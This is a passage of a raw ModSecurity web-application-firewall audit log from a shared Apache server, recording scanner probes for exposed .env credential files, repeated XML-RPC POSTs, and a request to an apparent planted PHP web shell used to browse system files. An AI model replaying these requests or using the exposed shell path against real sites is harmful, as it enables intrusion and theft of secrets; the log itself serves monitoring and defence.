"/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/statisch/.env"] [unique_id "aE9p5vbo0R64L12N_alXKAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034918032558 699621 (- - -) Stopwatch2: 1750034918032558 699621; combined=1914, p1=398, p2=1419, p3=0, p4=0, p5=96, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fb0a2228-Z-- --5c7e1b42-A-- [16/Jun/2025:06:18:54.283940 +0530] aE9p9Z16HYQp4eDf7R1X4AAAAAI 185.177.72.210 46164 127.0.0.1 7081 --5c7e1b42-B-- GET /:9000/protected/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5c7e1b42-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ff6e8c4e3083d7510e5843ba474565c31750034934; expires=Mon, 16 Jun 2025 01:48:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5c7e1b42-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/protected/.env"] [unique_id "aE9p9Z16HYQp4eDf7R1X4AAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034933529702 754312 (- - -) Stopwatch2: 1750034933529702 754312; combined=2007, p1=397, p2=1512, p3=0, p4=0, p5=97, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5c7e1b42-Z-- --98a0b70b-A-- [16/Jun/2025:06:18:59.598158 +0530] aE9p-5_Rv4EBtUyS5c4IGQAAAAU 216.73.216.83 49762 127.0.0.1 7081 --98a0b70b-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fusr%2Fshare%2Fbase-files&viewfile=%2F%2Fusr%2Fshare%2Fbase-files%2Fdot.profile.md5sums HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --98a0b70b-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3034 Connection: close Content-Type: text/html; charset=UTF-8 --98a0b70b-H-- Message: Warning. Matched phrase ".profile" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: .profile found within ARGS:viewfile: /usr/share/base-files/dot.profile.md5sums"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase ".profile" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: .profile found within ARGS:viewfile: /usr/share/base-files/dot.profile.md5sums"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9p-5_Rv4EBtUyS5c4IGQAAAAU"] Apache-Handler: application/x-httpd-php Stopwatch: 1750034939594174 4059 (- - -) Stopwatch2: 1750034939594174 4059; combined=1997, p1=330, p2=1513, p3=34, p4=44, p5=76, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --98a0b70b-Z-- --a18ce764-A-- [16/Jun/2025:06:19:11.775567 +0530] aE9qB9NEcm-DhAkC0ibeyQAAAAY 185.177.72.210 59672 127.0.0.1 7081 --a18ce764-B-- GET /settings/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a18ce764-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d6041b3e0a6165eff919afed0f33d8e71750034951; expires=Mon, 16 Jun 2025 01:49:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a18ce764-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/settings/.env.local"] [unique_id "aE9qB9NEcm-DhAkC0ibeyQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034951112677 663009 (- - -) Stopwatch2: 1750034951112677 663009; combined=2341, p1=464, p2=1757, p3=0, p4=0, p5=119, sr=118, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a18ce764-Z-- --6dbea91a-A-- [16/Jun/2025:06:19:16.036818 +0530] aE9qC_bo0R64L12N_alXQgAAAAQ 185.177.72.210 59826 127.0.0.1 7081 --6dbea91a-B-- GET /credentials/.env.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6dbea91a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ee245a251ca41e7f74fd5d71a5ceb5751750034955; expires=Mon, 16 Jun 2025 01:49:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6dbea91a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/credentials/.env.old"] [unique_id "aE9qC_bo0R64L12N_alXQgAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/credentials/.env.old"] [unique_id "aE9qC_bo0R64L12N_alXQgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034955346386 690497 (- - -) Stopwatch2: 1750034955346386 690497; combined=2108, p1=372, p2=1590, p3=0, p4=0, p5=145, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6dbea91a-Z-- --ac3cea7d-A-- [16/Jun/2025:06:19:17.082188 +0530] aE9qDJ16HYQp4eDf7R1X8AAAAAI 185.177.72.210 59878 127.0.0.1 7081 --ac3cea7d-B-- GET /mailer/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ac3cea7d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=977370a54cbea7b2fd43fcf7cfa3a4b21750034956; expires=Mon, 16 Jun 2025 01:49:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ac3cea7d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/mailer/.env"] [unique_id "aE9qDJ16HYQp4eDf7R1X8AAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034956380556 701705 (- - -) Stopwatch2: 1750034956380556 701705; combined=1479, p1=306, p2=1073, p3=0, p4=0, p5=99, sr=76, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ac3cea7d-Z-- --73b99e25-A-- [16/Jun/2025:06:19:20.806949 +0530] aE9qEPbo0R64L12N_alXRAAAAAQ 185.177.72.210 53840 127.0.0.1 7081 --73b99e25-B-- GET /.env_隠し HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --73b99e25-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=707222d557e00c77857d6d7d104807021750034960; expires=Mon, 16 Jun 2025 01:49:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --73b99e25-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env_\\\\xe9\\\\x9a\\\\xa0\\\\xe3\\\\x81\\\\x97"] [unique_id "aE9qEPbo0R64L12N_alXRAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034960106586 700439 (- - -) Stopwatch2: 1750034960106586 700439; combined=1909, p1=420, p2=1403, p3=0, p4=0, p5=86, sr=112, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --73b99e25-Z-- --f5653274-A-- [16/Jun/2025:06:19:20.820260 +0530] aE9qD6pdvXW4_hknQUU31wAAAAo 128.199.112.101 53832 127.0.0.1 7081 --f5653274-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f5653274-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f5653274-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9qD6pdvXW4_hknQUU31wAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034959886904 933437 (- - -) Stopwatch2: 1750034959886904 933437; combined=2315, p1=405, p2=1451, p3=50, p4=70, p5=209, sr=115, sw=130, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f5653274-Z-- --9b91bc28-A-- [16/Jun/2025:06:20:20.985668 +0530] aE9qTJLRu31pT8F-J2ZOrAAAAAc 128.199.112.101 45764 127.0.0.1 7081 --9b91bc28-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9b91bc28-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --9b91bc28-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9qTJLRu31pT8F-J2ZOrAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035020039949 945776 (- - -) Stopwatch2: 1750035020039949 945776; combined=2412, p1=415, p2=1614, p3=41, p4=64, p5=173, sr=125, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9b91bc28-Z-- --7f371620-A-- [16/Jun/2025:06:21:13.670521 +0530] aE9qgVXriBOgqnJNgkwjiAAAAAA 185.177.72.210 54134 127.0.0.1 7081 --7f371620-B-- GET /sicherung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7f371620-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3edc4d4dbf614d0c1a460f899a3c1b661750035073; expires=Mon, 16 Jun 2025 01:51:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7f371620-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/sicherung/.env"] [unique_id "aE9qgVXriBOgqnJNgkwjiAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035073001505 669122 (- - -) Stopwatch2: 1750035073001505 669122; combined=1699, p1=381, p2=1193, p3=0, p4=0, p5=124, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7f371620-Z-- --2eb4ec2f-A-- [16/Jun/2025:06:21:16.756858 +0530] aE9qhJLRu31pT8F-J2ZOxAAAAAc 185.177.72.210 54282 127.0.0.1 7081 --2eb4ec2f-B-- GET /:8181/stag/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2eb4ec2f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f1655e9e5d74cb4e8ce055ebd55b078e1750035076; expires=Mon, 16 Jun 2025 01:51:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2eb4ec2f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/stag/.env"] [unique_id "aE9qhJLRu31pT8F-J2ZOxAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035076115355 641565 (- - -) Stopwatch2: 1750035076115355 641565; combined=1974, p1=422, p2=1445, p3=0, p4=0, p5=106, sr=118, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2eb4ec2f-Z-- --c902874b-A-- [16/Jun/2025:06:21:21.617864 +0530] aE9qiDC9bb-fhYp4LpFTjQAAAAM 128.199.112.101 42688 127.0.0.1 7081 --c902874b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c902874b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c902874b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9qiDC9bb-fhYp4LpFTjQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035080658444 959474 (- - -) Stopwatch2: 1750035080658444 959474; combined=2136, p1=376, p2=1367, p3=45, p4=60, p5=180, sr=108, sw=108, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c902874b-Z-- --6bbf0927-A-- [16/Jun/2025:06:21:25.782169 +0530] aE9qjfbo0R64L12N_alXdQAAAAQ 185.177.72.210 42848 127.0.0.1 7081 --6bbf0927-B-- GET /bak/.env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6bbf0927-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dd97ce73bf07cb8e816f65c75fec1de81750035085; expires=Mon, 16 Jun 2025 01:51:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6bbf0927-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bak/.env.bak"] [unique_id "aE9qjfbo0R64L12N_alXdQAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/bak/.env.bak"] [unique_id "aE9qjfbo0R64L12N_alXdQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035085103869 678364 (- - -) Stopwatch2: 1750035085103869 678364; combined=1843, p1=385, p2=1316, p3=0, p4=0, p5=142, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6bbf0927-Z-- --9ee1d47d-A-- [16/Jun/2025:06:22:22.104124 +0530] aE9qxfbo0R64L12N_alXjAAAAAQ 128.199.112.101 36148 127.0.0.1 7081 --9ee1d47d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9ee1d47d-F-- HTTP/1.1 200 OK 